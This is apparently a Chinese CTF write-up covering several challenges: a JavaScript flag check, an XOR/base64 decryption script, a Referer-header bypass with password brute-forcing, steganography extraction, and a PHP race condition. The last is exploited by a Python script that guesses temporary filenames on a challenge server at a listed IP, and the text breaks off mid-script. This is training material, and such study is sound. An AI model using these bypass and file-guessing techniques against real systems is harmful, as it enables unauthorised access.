2019神盾杯

首届“神盾杯”上海市网络安全竞赛,去年的比赛。 0x00 babyJS 操作内容: 查看源码 找不到被调用的CheckLogin函数 看到script中有用到unespace和escape等函数 用于编码字符串 将eval传参改为alert 显示为弹窗 发现check函数 并将flag与用户输入做比较 得到flag FLAG值: flag{a5a5f402f6dc62acd3e848900a17513f} 0x01 crypto_easy_1 操作内容: 下载文件 发现3行类似的数据 并且长度一致。 :左边的长度为42 右边的长度为56 ,猜测右边被base64编码过 进行解码 比较长度 长度一致 为42 异或运算一下 可以得到Key随后将key代入 与base64解码后的密文异或比较 得到flag 解密脚本如下: import base64 x = 'v6"wo5UIP9c4IdCk1o6qZhhB5DKZhVBwBzONl1JRIz:TwB2RyZYBCEVbjBjID17UkUeeDAwPBh1dg86AyAgcSQ4QygYGnAuJQYw' y = 'zjS0ubQE2hw29FL2qs61ZNOVyFaf6IAjUZ7X8ijuVg:Q1wHADwPAC13PyRlUB90CwUCeHAwGj9hOg0QP34/cjkvY1AOTigOAhkt' z = 'pJryZpVUNpSFi06WlKGkS0Uka6zw1sNCX"h2urQoyg:SXwmSRMdBz0LJwARAGkObhg6CSo5ZCVcIn0LLnkFfRAiGw9kAzM1GDYt' a, b = x.split(':') c, d = y.split(':') e, f = z.split(':') b = base64.b64decode(b) d = base64.b64decode(d) f = base64.b64decode(f) g = base64.b64decode('X1o1VzIPaVgjbmNvCnQAC0ZHY3BbMUkaeylDYWVOCzZDXwJjR3hTFiw3') flag = '' for i in range(42): t = ord(a[i]) ^ ord(b[i]) flag += chr(ord(g[i]) ^ t) print(flag) FLAG值:

豌豆杯入学CTF

1.题目:小可爱 第一步肯定是绕过本地回环地址 一开始想到的是x-forward-for等告诉服务器我的地址但发现没有绕过 看题目题目是说来源地址想到了referer成功绕过 这里没啥思路只能爆破 密码为orange 访问到另外一个页面 然后登录。 发现是一张迪丽热巴的图片 这个主管很喜欢迪丽热巴啊!! 将图片下载下来,用binwalk查看下发现有压缩包!foremost下得到压缩包发现有密码 这个地方解了很久发现使用Dilraba的md5。。。。 得到一张图片再一次foremost得到一个压缩包成功拿到flag 2.题目:单身二十年 <?php header("Content-type:text/html;charset=utf-8"); show_source(__FILE__); if($_COOKIE['token']=='5D41402ABC4B2A76B9719D911017C592'){ $file = 'dump/'.md5(base64_encode(mt_rand(1,100))).'.txt'; file_put_contents($file,file_get_contents('327A6C4304AD5938EAF0EFB6CC3E53DC.php')); sleep(10); unlink($file); }else{ header('Location: index.php'); } setcookie("token"); ?> 看懂源码发现访问页面会睡眠十秒他会把flag写入到一个1到100随机数字经过base64,md5的txt文件里。 一种是用burp直接get到这里我就不演示了,我是直接写的python,访问下页面执行脚本就行了。 import base64 import hashlib import requests for i in range(1,101): headers = {'Content-type':'text/html;charset=utf-8'} encodestr = base64.b64encode(str(i).encode('utf-8')) cookies = {'token':'5D41402ABC4B2A76B9719D911017C592'} #print(encodestr) m = hashlib.md5() m.update(encodestr) #print(m.hexdigest()) a = m.hexdigest() url = 'http://106.14.145.133:8081/web10/dump/'+a+'.txt' #print(url) url_get = requests.get(url,headers=headers,cookies=cookies,timeout=2) #print(url_get.headers) #print(url_get.cookies) if url_get.